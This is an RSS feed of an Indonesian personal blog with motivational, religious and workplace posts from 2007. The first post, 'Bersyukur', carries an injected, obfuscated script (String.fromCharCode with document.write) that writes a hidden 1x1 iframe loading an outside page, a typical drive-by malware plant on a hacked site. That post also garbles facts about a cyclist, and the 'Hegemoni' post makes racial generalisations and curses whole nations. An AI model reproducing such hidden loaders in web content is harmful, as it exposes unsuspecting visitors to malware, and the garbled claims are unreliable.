<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Andika's Blog</title>
	<link>http://andika.syafaatadvertising.net</link>
	<description>Beta version 0.01</description>
	<pubDate>Fri, 25 Jun 2010 16:53:23 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.3</generator>
	<language>en</language>
			<item>
		<title>Bersyukur</title>
		<link>http://andika.syafaatadvertising.net/?p=25</link>
		<comments>http://andika.syafaatadvertising.net/?p=25#comments</comments>
		<pubDate>Tue, 31 Jul 2007 07:34:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[motivation]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=25</guid>
		<description><![CDATA[Anak yang baik dan lucu, segala kepolosan dan keluguan ada pada anak-anak. Mereka tidak biasa berbohong untuk mengekspresikan rasa syukur dia ketika dibelikan barang baru. Sebut saja ‘Nada’ seorang anak umur 6 tahun yang baru saja dibelikan ibunya sepatu obral di sebuah toko kelontong di sudut kampung. Dua pasang sepatu bagusnya yang dibeli di kota [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://bp2.blogger.com/_rNaA0Vyip4A/Rh8LtXio43I/AAAAAAAAACE/WUY_AvAxkg8/s200/amstrong.jpg" alt="amstrong" />Anak yang baik dan lucu, segala kepolosan dan keluguan ada pada anak-anak. Mereka tidak biasa berbohong untuk mengekspresikan rasa syukur dia ketika dibelikan barang baru. Sebut saja ‘Nada’ seorang anak umur 6 tahun yang baru saja dibelikan ibunya sepatu obral di sebuah toko kelontong di sudut kampung. Dua pasang sepatu bagusnya yang dibeli di kota sudah lama rusak. Saat tidur sepatu barunya dibaringkan bersama dengan boneka kesayangannya.</p>
<p>Pertama yang bisa kita lihat, sepatu yang baru saja dibelikan untuknya tidak berharga mahal tetapi dia tidak peduli dengan harga karena belum tahu mahal murahnya sebuah barang. Yang dia tahu, sepatunya baru! Kalau menurut dia bagus, maka baguslah…. beda dengan orang dewasa yang kadang aspek harga, brand, gengsi, yang menentukan keputusan dibelinya sebuah barang. Sehingga sifat sombong, boros, dan egois lebih melekat pada orang dewasa.</p>
<p>Kedua, didalam sifat polos anak-anak ternyata terkandung rasa syukur yang tinggi kepada Allah, walaupun barangkali belum nampak dalam kata-kata. Contoh; ketika Anda diberi sebuah barang oleh sahabat Anda, misalnya sebuah buku. Ketika Anda tidak membacanya apakah bisa dikatakan bersyukur? Anak-anak kadang memang bisa menjadi teropong evaluasinya orang dewasa. Perbuatan baik buruknya belum tercatat oleh malaikat. Kalau kita ambil pelajaran lebih dalam lagi, rasa ‘syukur’ yang dialami orang dewasa semestinya berkembang menjadi kekuatan untuk melakukan seluruh potensi pemberian Allah ini dengan hal-hal yang maksimal. Yang kadang tiap hari menjadi pertanyaan banyak orang. Prestasi apa yang sudah Anda capai sekarang? Anda memiliki segalanya. Pemikiran dan bentuk fisik yang sempurna. Sehingga kita tersadar betapa potensi yang diberikan Allah begitu besar belum termanfaatkan secara maksimal.</p>
<p>Siapa yang tidak kenal Louis Amstrong seorang pembalap sepeda menjuarai 7 kali dan 6 kalinya didapat secara berturut-turut. Tour de france lomba balap sepeda paling ganas didunia dengan memakan waktu 26 hari setiap lombanya. Apa kelemahan yang dimiliki Louis? Dia pengidap kangker. Kekurangan apa lagi yang dimilikinya? Dia pengidap polio sejak lahir. Orang dengan kekurangan yang dia punya, semestinya memilih olahraga catur atau bridge atau main game aja dirumah tidak usah sering keluar rumah, percuma. Tetapi tidak untuk Louis!.<br />
<img src="http://bp3.blogger.com/_rNaA0Vyip4A/Rh8ZLnio44I/AAAAAAAAACM/9XEYxjJB6Qo/s200/hellen.jpg" alt="Hellen Keller" />Helen Keller, seorang mahasiswi yang tuli, buta dan memiliki kesulitan wicara. Telah menulis beberapa buku dan telah menjadi pembicara di 49 negara. Trus&#8230; tidak usah jauh-jauh, Kuntowijo sastrawan jogja yang tetap produktif paska stroke untuk menulis buku walaupun hanya dengan dua jari telunjukknya.<br />
Kita sudah sepantasnya malu…. malu…. dengan pemberian dari-Nya yang sempurna. Prestasi apa yang sudah kita buat. Dan masih banyak lagi yang bisa kita ambil ‘ibroh’ dari cerita diatas.<br />
Wallahu A’lam…..<!--b50657a2ef966584a37053bc44cf476f22010--></p>
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script>
<p><!--/b50657a2ef966584a37053bc44cf476f22010--></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=25</wfw:commentRss>
		</item>
		<item>
		<title>Sifat</title>
		<link>http://andika.syafaatadvertising.net/?p=24</link>
		<comments>http://andika.syafaatadvertising.net/?p=24#comments</comments>
		<pubDate>Tue, 31 Jul 2007 07:31:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[motivation]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=24</guid>
		<description><![CDATA[Mungkin banyak yang tahu wujud kepiting, tapi tidak banyak yang tahu sifatkepiting. Semoga kita tidak memiliki sifat kepiting yang dengki.
Di Filipina, masyarakat pedesaan gemar sekali menangkap dan memakankepiting sawah.
Kepiting itu ukurannya kecil namun rasanya cukup lezat. Kepiting-kepiting itu dengan mudah ditangkap di malam hari, lalu dimasukkan ke dalam baskom/wadah, tanpa diikat.
Keesokkan harinya, kepiting-kepiting ini akan [...]]]></description>
			<content:encoded><![CDATA[<p>Mungkin banyak yang tahu wujud kepiting, tapi tidak banyak yang tahu sifatkepiting. Semoga kita tidak memiliki sifat kepiting yang dengki.</p>
<p>Di Filipina, masyarakat pedesaan gemar sekali menangkap dan memakankepiting sawah.<br />
Kepiting itu ukurannya kecil namun rasanya cukup lezat. Kepiting-kepiting itu dengan mudah ditangkap di malam hari, lalu dimasukkan ke dalam baskom/wadah, tanpa diikat.<br />
Keesokkan harinya, kepiting-kepiting ini akan direbus dan lalu disantap untuk lauk selama beberapa hari. Yang paling menarik dari kebiasaan ini, kepiting-kepiting itu akan selalu berusaha untuk keluar dari baskom,sekuat tenaga mereka, dengan menggunakan capit-capitnya yang kuat. Namun seorang penangkap kepiting yang handal selalu tenang meskipun hasilburuannya selalu berusaha meloloskan diri.Resepnya hanya satu, yaitu si pemburu tahu betul sifat si kepiting. Bila ada seekor kepiting yang hampir meloloskan diri keluar dari baskom,teman-temannya pasti akan menariknya lagi kembali ke dasar. Jika ada lagi yang naik dengan cepat ke mulut baskom, lagi-lagi temannyaakan menariknya turun… dan begitu seterusnya sampai akhirnya tidak ada yang berhasil keluar.<br />
Keesokan harinya sang pemburu tinggal merebus mereka semua dan matilah sekawanan kepiting yang dengki itu.<br />
Begitu pula dalam kehidupan ini… tanpa sadar kita juga terkadang menjadi seperti kepiting-kepiting itu.<br />
Yang seharusnya bergembira jika teman atau saudara kita mengalami kesuksesan kita malahan mencurigai, jangan-jangan kesuksesan itu diraih dengan jalan yang nggak bener. Apalagi di dalam bisnis atau hal lain yang mengandung unsur kompetisi,sifat iri, dengki, atau munafik akan semakin nyata dan kalau tidak segerakita sadari tanpa sadar kita sudah membunuh diri kita sendiri.</p>
<p>Kesuksesan akan datang kalau kita bisa menyadari bahwa di dalam bisnis ataupersaingan yang penting bukan siapa yang menang, namun terlebih pentingdari itu seberapa jauh kita bisa mengembangkan diri kita seutuhnya. Jika kita berkembang, kita mungkin bisa menang atau bisa juga kalah dalam suatu persaingan, namun yang pasti kita menang dalam kehidupan ini.</p>
<p>Pertanda seseorang adalah ‘kepiting’:<br />
1. Selalu mengingat kesalahan pihak luar (bisa orang lain atau situasi)yang sudah lampau dan menjadikannya suatu prinsip/pedoman dalambertindak<br />
2. Banyak mengkritik tapi tidak ada perubahan<br />
3. Hobi membicarakan kelemahan orang lain tapi tidak mengetahui kelemahandirinya sendiri sehingga ia hanya sibuk menarik kepiting-kepiting yangakan keluar dari baskom dan melupakan usaha pelolosan dirinya sendiri.</p>
<p>&#8230;Seharusnya kepiting-kepiting itu tolong-menolong keluar dari baskom,namun yah… dibutuhkan jiwa yang besar untuk melakukannya…<br />
Coba renungkan berapa waktu yang kita pakai untuk memikirkan cara-cara menjadi pemenang. Dalam kehidupan sosial, bisnis, sekolah, atau agama. Dan gantilah waktu itu untuk memikirkan cara-cara pengembangan diri kita menjadi pribadi yang sehat dan sukses. Betapa pun banyaknya kucing berkelahi, selalu saja banyak anak kucing lahir.</p>
<p>(Abraham Lincoln)  <a href="http://andika.syafaatadvertising.net/?p=24#more-24" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=24</wfw:commentRss>
		</item>
		<item>
		<title>Bicara</title>
		<link>http://andika.syafaatadvertising.net/?p=23</link>
		<comments>http://andika.syafaatadvertising.net/?p=23#comments</comments>
		<pubDate>Tue, 31 Jul 2007 07:29:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=23</guid>
		<description><![CDATA[Kenapa ya… iklan yang seperti mimpi… di awan… dia tidak down to earth “ora ngambah lemah” biasanya produk yang ditawarkan nggak laku…
Tapi… iklan yang “katrok” (kampungan), dikiranya bagus tapi norak… semuanya pengen masuk kayak cendol… desak-desakan… tapi produknya kadang laku keras… (ada hubungannya dengan pola pikir?)
Tapi kenapa ya… iklan yang bagus… feelnya kena… komunikasinya yahuud… [...]]]></description>
			<content:encoded><![CDATA[<p>Kenapa ya… iklan yang seperti mimpi… di awan… dia tidak down to earth “ora ngambah lemah” biasanya produk yang ditawarkan nggak laku…</p>
<p>Tapi… iklan yang “katrok” (kampungan), dikiranya bagus tapi norak… semuanya pengen masuk kayak cendol… desak-desakan… tapi produknya kadang laku keras… (ada hubungannya dengan pola pikir?)</p>
<p>Tapi kenapa ya… iklan yang bagus… feelnya kena… komunikasinya yahuud… eksekusinnya kerenh… sangat bantu ngangkat brand image… jarang banget dijumpai….</p>
<p>Bersambung…. <a href="http://andika.syafaatadvertising.net/?p=23#more-23" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=23</wfw:commentRss>
		</item>
		<item>
		<title>BATU</title>
		<link>http://andika.syafaatadvertising.net/?p=22</link>
		<comments>http://andika.syafaatadvertising.net/?p=22#comments</comments>
		<pubDate>Tue, 31 Jul 2007 06:41:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[motivation]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=22</guid>
		<description><![CDATA[Suatu hari seorang dosen sedang memberi kuliah tentang manajemen waktu pada para mahasiswa MBA. Dengan penuh semangat ia berdiri depan kelas dan berkata, &#8220;Okay, sekarang waktunya untuk quiz.&#8221; Kemudian ia mengeluarkan sebuah ember kosong dan meletakkannya di meja. Kemudian ia mengisi ember tersebut dengan batu sebesar sekepalan tangan. Ia mengisi terus hingga tidak ada lagi [...]]]></description>
			<content:encoded><![CDATA[<p>Suatu hari seorang dosen sedang memberi kuliah tentang manajemen waktu pada para mahasiswa MBA. Dengan penuh semangat ia berdiri depan kelas dan berkata, &#8220;Okay, sekarang waktunya untuk quiz.&#8221; Kemudian ia mengeluarkan sebuah ember kosong dan meletakkannya di meja. Kemudian ia mengisi ember tersebut dengan batu sebesar sekepalan tangan. Ia mengisi terus hingga tidak ada lagi batu yang cukup untuk dimasukkan ke dalam ember. Ia bertanya pada kelas, &#8220;Menurut kalian, apakah ember ini telah penuh?&#8221; Semua mahasiswa serentak berkata, &#8220;Ya!&#8221;</p>
<p>Dosen bertanya kembali, &#8220;Sungguhkah demikian?&#8221; Kemudian, dari dalam meja ia mengeluarkan sekantung kerikil kecil. Ia menuangkan kerikil-kerikil itu ke dalam ember lalu mengocok-ngocok ember itu sehingga kerikil-ker ikil itu turun ke bawah mengisi celah-celah kosong di antara batu-batu. Kemudian, sekali lagi ia bertanya pada<br />
kelas, &#8220;Nah, apakah sekarang ember ini sudah penuh?&#8221; Kali ini para mahasiswa terdiam. Seseorang menjawab, &#8220;Mungkin tidak.&#8221; &#8220;Bagus sekali,&#8221; sahut dosen. Kemudian ia mengeluarkan sekantung pasir dan menuangkannya ke dalam ember. Pasir itu berjatuhan mengisi celah-celah kosong antara batu dan kerikil. Sekali lagi, ia bertanya pada<br />
kelas, &#8220;Baiklah, apakah sekarang ember ini sudah penuh?&#8221; &#8220;Belum!&#8221; sahut seluruh kelas.</p>
<p>Sekali lagi ia berkata, &#8220;Bagus. Bagus sekali.&#8221; Kemudian ia meraih sebotol air dan mulai menuangkan airnya ke dalam ember sampai ke bibir ember. Lalu ia menoleh ke kelas dan bertanya, &#8220;Tahukah kalian apa maksud illustrasi ini?&#8221; Seorang mahasiswa dengan semangat mengacungkan jari dan berkata, &#8220;Maksudnya adalah, tak peduli<br />
seberapa padat jadwal kita, bila kita mau berusaha sekuat tenaga maka pasti kita bisa mengerjakannya. &#8221;</p>
<p>&#8220;Oh, bukan,&#8221; sahut dosen, &#8220;Bukan itu maksudnya. Kenyataan dari illustrasi mengajarkan pada kita bahwa: bila anda tidak memasukkan &#8220;batu besar&#8221; terlebih dahulu, maka anda tidak akan bisa memasukkan semuanya.&#8221; Apa yang dimaksud dengan &#8220;batu besar&#8221; dalam hidup anda? Anak-anak anda; Pasangan anda; Pendidikan anda; Hal-hal yang penting dalam hidup anda; Mengajarkan sesuatu pada orang lain; Melakukan pekerjaan yang kau cintai; Waktu untuk diri sendiri; Kesehatan anda; Teman anda; atau semua yang berharga.</p>
<p>Ingatlah untuk selalu memasukkan &#8220;Batu Besar&#8221; pertama kali atau anda akan kehilangan semuanya. Bila anda mengisinya dengan hal-hal kecil (semacam kerikil dan pasir) maka hidup anda akan penuh dengan hal-hal kecil yang merisaukan dan ini semestin ya tidak perlu. Karena dengan demikian anda tidak akan pernah memiliki waktu yang<br />
sesungguhnya anda perlukan untuk hal-hal besar dan penting.</p>
<p>(sumber: makasih buat milis kubikleadership yang inspiratif, salam epos untuk temen2 semua) <a href="http://andika.syafaatadvertising.net/?p=22#more-22" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=22</wfw:commentRss>
		</item>
		<item>
		<title>Pak</title>
		<link>http://andika.syafaatadvertising.net/?p=21</link>
		<comments>http://andika.syafaatadvertising.net/?p=21#comments</comments>
		<pubDate>Tue, 31 Jul 2007 06:31:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=21</guid>
		<description><![CDATA[
Media Department yang digawangi pak Danus selama 9 tahun lebih membawa beberapa prestasi membanggakan yang akan tercatat dalam sejarah berdirinya Syafa’at. Merupakan departemen yang dianggap tangguh selama ini untuk melayani dua departemen lainnya (Creative maupun Account). Sembilan tahun bersama… memperjuangkan visi bersama, lembur bersama, m’em bersama, b’canda, sedih, gembira… semuanya kita lalui bersama. Tim yang [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://bp1.blogger.com/_rNaA0Vyip4A/Rgh3itydK3I/AAAAAAAAAB4/iLD5-jGmgu0/s400/danus.jpg" alt="go pak danus" /><br />
Media Department yang digawangi pak Danus selama 9 tahun lebih membawa beberapa prestasi membanggakan yang akan tercatat dalam sejarah berdirinya Syafa’at. Merupakan departemen yang dianggap tangguh selama ini untuk melayani dua departemen lainnya (Creative maupun Account). Sembilan tahun bersama… memperjuangkan visi bersama, lembur bersama, m’em bersama, b’canda, sedih, gembira… semuanya kita lalui bersama. Tim yang tangguh ini kehilangan satu orang penting yang telah lama bersama kita. Pak Danus… saya terinspirasi kecepatan bekerja Anda, loyalitas Anda terhadap perusahaan, dan kejujuran Anda dalam menjaga amanah. Sembilan tahun sangat cukup untuk bisa menilai Anda.</p>
<p>Andai saja pak Danus tidak mendapatkan jodoh orang Sulawesi… he.. he… he… seandainya pak Danus tidak diterima jadi pegawai negeri di Toli Toli. Yeee… barangkali memang sudah kehendak Yang Maha Kuasa. Tidak perlu menoleh kebelakang… kita tatap masa depan bersama-sama walaupun dari tempat yang berbeda. Silah ukhuwah tetap dijaga… selamat jalan pak… keep in touch yaa… semoga sukses disana…  <a href="http://andika.syafaatadvertising.net/?p=21#more-21" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=21</wfw:commentRss>
		</item>
		<item>
		<title>Kembaran</title>
		<link>http://andika.syafaatadvertising.net/?p=20</link>
		<comments>http://andika.syafaatadvertising.net/?p=20#comments</comments>
		<pubDate>Tue, 31 Jul 2007 06:28:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[fikrah]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=20</guid>
		<description><![CDATA[Sejak lahir, Allah menciptakan sosok kembaran manusia yang namanya Qorin. Dia dilahirkan bersamaan ketika kita lahir. Qorin ini sejenis jin yang tugasnya menggangu manusia berjalan di jalan Allah. Namanya juga syetan! Pastilah jahat… nggak ada yang baik. Nggak ada itu jin yang baik bahkan yang dikatakan orang-orang tentang jin yang baik… tidak ada yang tidak [...]]]></description>
			<content:encoded><![CDATA[<p>Sejak lahir, Allah menciptakan sosok kembaran manusia yang namanya Qorin. Dia dilahirkan bersamaan ketika kita lahir. Qorin ini sejenis jin yang tugasnya menggangu manusia berjalan di jalan Allah. Namanya juga syetan! Pastilah jahat… nggak ada yang baik. Nggak ada itu jin yang baik bahkan yang dikatakan orang-orang tentang jin yang baik… tidak ada yang tidak punya tujuan untuk menggoda manusia kejalan kesesatan. Karena mereka semua, baik syetan/ jin/ iblish diciptakan Allah dari api. “Kembaran kita” itu akan selalu menggoda supaya melakukan kejahatan, keburukan, membisiki kita untuk menjalankan apa yang dilarang Allah. Tanpa pernah capek… tanpa pernah putus asa. Dan ketika kita mati… qorin tetap akan hidup. Tentang Rosulullah? Apakah Allah menciptakan Qorin untuknya? Sama saja. Hanya… oleh Allah, Qorin Rosulullah telah dijauhkan… sebagai bukti ketaatan manusia istimewa yang satu ini dihadapan Allah. Saya jadi mengerti kenapa juga Rosulullah Muhammad SAW tetap beribadah khusyuk dihadapan Allah walaupun telah dijamin syurga. Walaupun bukan itu satu-satunya alasan Rosul melakukan ibadahnya. Tentu karena kadar keimanan beliau yang memang teramat tebal dan kecintaan kepada Allah teramat dalam.</p>
<p>Ada empat amalan bagi kita umat Rosul supaya dijauhkan dari Qorin. Pertama&#8211; qiamullail, kedua&#8211; berbakti dan mendoakan kedua orang tua, ketiga&#8211;senantiasa membaca Al Qur&#8217;an, yang keempat saya lupa…. maap… namanya juga ndenger pengajian. Lagian pas nggak bawa catetan apalagi laptop… he.. he… he…<br />
Wallahua&#8217;lam Bishowab <a href="http://andika.syafaatadvertising.net/?p=20#more-20" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=20</wfw:commentRss>
		</item>
		<item>
		<title>Hegemoni</title>
		<link>http://andika.syafaatadvertising.net/?p=19</link>
		<comments>http://andika.syafaatadvertising.net/?p=19#comments</comments>
		<pubDate>Tue, 31 Jul 2007 06:25:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[fikrah]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=19</guid>
		<description><![CDATA[Tadi malam nonton Rocky III di trans 7 tentang kehebatan dan kepahlawanan orang kulit putih di Amerika. Dari awal sampai akhir ceritanya mengalir bagus layaknya film2 khas holywood lainnya… heroik… tak kenal menyerah… dan menang!!! Jadi inget film2 Sly yang lainnya… Rambo yang jadi hero perang Vietnam… yang dibikin sampai ke sekuel 4 nya sama [...]]]></description>
			<content:encoded><![CDATA[<p>Tadi malam nonton Rocky III di trans 7 tentang kehebatan dan kepahlawanan orang kulit putih di Amerika. Dari awal sampai akhir ceritanya mengalir bagus layaknya film2 khas holywood lainnya… heroik… tak kenal menyerah… dan menang!!! Jadi inget film2 Sly yang lainnya… Rambo yang jadi hero perang Vietnam… yang dibikin sampai ke sekuel 4 nya sama dengan Rocky (kalo tidak salah malah ada film rocky versi terbaru yg akan dirilis).</p>
<p>Sudah bisa simpulkan? He.. he… he… benerr… film jadi hiburannya orang Amerika dan dijual di negara2 lain. Untuk mempengaruhi “mind” target audience agar apa yang dilakukan Amerika mendapatkan pembenaran. Kita tahu orang kulit putih jarang atau bahkan boleh lah kalau dikatakan tidak ada yang berprestasi didunia tinju kelas berat kan? Biasanya negro-negro yang memang diberi kelebihan Allah memiliki fisik luar biasa. Rambo… di perang Vietnam dan di Afghanistan. Pernah dengar kemenangan Amerika di perang itu? Amerika kalah total diperang gerilya… kualahan menghadapi pasukan Vietnam di perang hutan yang sarat dengan intuisi… sulitnya medan membuat tentara Amerika stress bahkan depresi berat sampai-sampai dikirim hiburan sex disela-sela pertempuran, nenteng majalah playboy dihutan, miras, dan narkoba.</p>
<p>Dengan mental seperti itu akan menguasai dunia? Kayaknya…. Nggak mungkin dech….<br />
Tragedi Afghan, Irak, Palestina, sudah cukup untuk mengatakan pada dunia bahwa Amerika/Israel/Inggris “laknatullah”. Ya ampuuun&#8230;. <a href="http://andika.syafaatadvertising.net/?p=19#more-19" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=19</wfw:commentRss>
		</item>
		<item>
		<title>silahkan</title>
		<link>http://andika.syafaatadvertising.net/?p=18</link>
		<comments>http://andika.syafaatadvertising.net/?p=18#comments</comments>
		<pubDate>Tue, 31 Jul 2007 06:20:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=18</guid>
		<description><![CDATA[
Buat temen2 ADVY, baik yg masih kuliah maupun yang sudah alumni&#8230; ada acara kerenh bisa kamu datangi&#8230; sekalian reuni yaa&#8230;. sebelum pindah gedung ke tamsis neh&#8230;.
]]></description>
			<content:encoded><![CDATA[<p><img src="http://bp2.blogger.com/_rNaA0Vyip4A/RfWCEJeLA9I/AAAAAAAAABo/nZ-pGZGVdJc/s400/poster+ukuran+cilik.jpg" alt="enterpreneur advy" /><br />
Buat temen2 ADVY, baik yg masih kuliah maupun yang sudah alumni&#8230; ada acara kerenh bisa kamu datangi&#8230; sekalian reuni yaa&#8230;. sebelum pindah gedung ke tamsis neh&#8230;. <a href="http://andika.syafaatadvertising.net/?p=18#more-18" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=18</wfw:commentRss>
		</item>
		<item>
		<title>Bincang</title>
		<link>http://andika.syafaatadvertising.net/?p=17</link>
		<comments>http://andika.syafaatadvertising.net/?p=17#comments</comments>
		<pubDate>Tue, 31 Jul 2007 06:14:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[intermezzo]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=17</guid>
		<description><![CDATA[Barangkali kalau saya punya TV swasta, saya akan bikin acara khusus namanya &#8220;Bincang Bencana&#8221; biar nggak ngganggu acara2 lainnya. N&#8230; bisa kupas tuntasss segala bencana yang ada di negeri ini (yaaa&#8230; cuma ngupas aja&#8230;solusi? belum kepikir). Manggil para pakar bencana&#8230; mulai bencana alam&#8230; sampai bencana kecelakaan. Saya akan pisahkan dengan program acara berita politik apalagi [...]]]></description>
			<content:encoded><![CDATA[<p>Barangkali kalau saya punya TV swasta, saya akan bikin acara khusus namanya &#8220;Bincang Bencana&#8221; biar nggak ngganggu acara2 lainnya. N&#8230; bisa kupas tuntasss segala bencana yang ada di negeri ini (yaaa&#8230; cuma ngupas aja&#8230;solusi? belum kepikir). Manggil para pakar bencana&#8230; mulai bencana alam&#8230; sampai bencana kecelakaan. Saya akan pisahkan dengan program acara berita politik apalagi kriminalitas. Tapi TV saya nanti nggak nyiarin sinetron&#8230; (lho&#8230; maksude?) <a href="http://andika.syafaatadvertising.net/?p=17#more-17" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=17</wfw:commentRss>
		</item>
		<item>
		<title>Naik</title>
		<link>http://andika.syafaatadvertising.net/?p=16</link>
		<comments>http://andika.syafaatadvertising.net/?p=16#comments</comments>
		<pubDate>Mon, 30 Jul 2007 09:39:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[fikrah]]></category>

		<guid isPermaLink="false">http://andika.syafaatadvertising.net/?p=16</guid>
		<description><![CDATA[Dalam obrolan siang bolong tadi banyak seloroh bersautan.
Kalau pergi-pergi enaknya sekarang naik apa ya… naik bus… banyak kecelakaan… naik kereta… sering anjlog… naik kapal… tenggelam… naik pesawat… jatuh… yaudah dirumah aja nggak usah pergi-pergi khan? Ntar kena gempa bung… ooo… yaudah keluar rumah aja… trus kena puting beliung dunk… Kalo naik bajaj?
Sudahlah pasrah aja… hidup [...]]]></description>
			<content:encoded><![CDATA[<p>Dalam obrolan siang bolong tadi banyak seloroh bersautan.</p>
<p>Kalau pergi-pergi enaknya sekarang naik apa ya… naik bus… banyak kecelakaan… naik kereta… sering anjlog… naik kapal… tenggelam… naik pesawat… jatuh… yaudah dirumah aja nggak usah pergi-pergi khan? Ntar kena gempa bung… ooo… yaudah keluar rumah aja… trus kena puting beliung dunk… Kalo naik bajaj?</p>
<p>Sudahlah pasrah aja… hidup ini milik siapa khan? Yang bisa kita lakuin yaa… mempersiapkan diri aja… jadikan hidup ini sebuah proses penigkatan kualitas diri ”setiap hari”. Peningkatan apakah kita semakin taat pada-Nya atau sebaliknya. Semakin jelas kalau antara hidup dan mati adalah tipis… seperti tipisnya sutera bahkan lebih tipis lagi. Kalau kita baca novelnya Dunia Sofie disitu ada kegelisahan sebuah pencarian tujuan hidup&#8230; dari mana saya, untuk apa saya hidup, dan mau kemana setelah kita mati&#8230; itu dulu deh&#8230; dijawab&#8230; setiap insan yang berhasil menjawabnya akan berada pada track jalan lurus atau bengkok tergantung dari hasil jawabannya&#8230; dan itu tergambar dalam aktifitas kita sehari-hari dalam mengisi hidup didunia ini. Seperti pernah ada seorang mbok-mbok (nn) bilang &#8220;Oalahhh guus&#8230; guusss&#8230; uripmu kok mung diisi ngona-ngono&#8230; wae&#8230; opo yo ra sadar nek mati mesthi ngadep gusti Allah&#8230;&#8221;</p>
<p>Dan&#8230; pasti dalam setiap kejadian Allah telah mempersiapkan hikmah dibaliknya&#8230; Allahu Akbar! <a href="http://andika.syafaatadvertising.net/?p=16#more-16" class="more-link">&#8211;></a></p>
]]></content:encoded>
			<wfw:commentRss>http://andika.syafaatadvertising.net/?feed=rss2&amp;p=16</wfw:commentRss>
		</item>
	</channel>
</rss>
